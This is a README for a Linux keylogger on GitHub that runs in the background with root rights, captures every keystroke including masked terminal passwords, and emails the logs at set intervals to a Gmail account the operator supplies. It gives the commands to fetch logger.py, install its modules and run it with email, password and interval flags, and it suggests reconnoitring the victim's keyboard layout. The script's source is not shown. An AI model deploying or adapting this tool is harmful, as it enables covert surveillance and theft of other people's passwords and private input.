Want a terrible keylogger? Look no further!
This keylogger runs in the background and copies all the keystrokes a user inputs. After an interval, it then emails these keystrokes to the gmail given. If the user doesn't type anything, the logger knows not to email anything.
The logger is heavily based on the logger written by x4nth055.
I added the ability to feed in an email address and password rather than hardcode it in, the ability to feed in how often you want the script to report back to you, as well as an experimental attempt to report special character key strokes.
This logger is capable of collecting the keystrokes for 'blanked out' passwords in a 'nix terminal
This logger has been built on a number of assumptions:
- You've can run sudo / run as root on a linux system
- You have access to Gmail, and have turned on 'less secure app access' in your security settings
You'll need to install the following modules:
pip3 install keyboard
pip3 install argparsewget https://raw.githubusercontent.com/Purp1eW0lf/Keylogger/main/logger.pyThis logger requires you to feed your gmail email and password. I would create a throwaway account for this.
You can also optionally feed the script the length of time you want it to wait and collect keystrokes, and send you an email of the keystrokes. The default waiting period is every 60 seconds, should you choose not to input length (the -l flag)
sudo python3 logger.py -e gmail@Address -p Password -l 120
Sometimes the emails don't send at the regular interval, but will come in batch and you'll get a handful at once
- Fix: I'm not clever enough to figure out why yet.
The script tries to tranpose special characters by examining if the user presses the SHIFT key and a corresponding number. This is majorly flawed, however, as it is entirely dependent on the type/brand/langugage of the keyboard. The current script is based on a Macbook keyboard.
- Fix: If you're able to do some recon on the user's keyboard type, you can change the section in the middle of the script, and reassign the key values for better accuracy.
If you notice a way the script can be improved you're welcome to make requests and raise issues. You're also welcome to slide in my Twitter DMs and tell me how shit the logger is. @Purp1eW0lf
